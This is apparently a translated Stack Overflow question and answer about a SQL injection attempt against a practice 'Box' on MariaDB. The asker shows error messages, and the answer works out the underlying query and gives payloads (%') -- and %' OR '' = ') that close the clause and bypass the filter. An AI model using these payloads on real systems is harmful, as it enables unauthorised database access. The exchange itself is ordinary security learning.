我正在尝试将SQL语句注入Box。我有以下注射点:
example.com/?o=1&page=app当我注入1‘时,我会收到以下错误消息:
DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1我试着注射以下东西:
1' ORDER BY 1 --我仍然收到错误消息,我不知道如何关闭该语句:
DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'ORDER BY 1 --') and ( dest like '5' or dest like '1' ORDER BY 1 --') LIMIT 10' at line 1我做错什么了?谢谢你的回答!
发布于 2018-11-25 12:40:31
假设在尝试1'时,查询包含了'1'',那么原始查询似乎如下所示:
... '5' or dest like '$o') LIMIT 10例如:
SELECT * FROM table WHERE (category = '5' or dest like '$o') LIMIT 10要使它成为有效的查询,您需要关闭括号。
例如%') --,给予:
SELECT * FROM table WHERE (category = '5' or dest like '%') --') LIMIT 10或%' OR '' = ',给予:
SELECT * FROM table WHERE (category = '5' or dest like '%' OR '' = '') LIMIT 10https://stackoverflow.com/questions/53467311
复制相似问题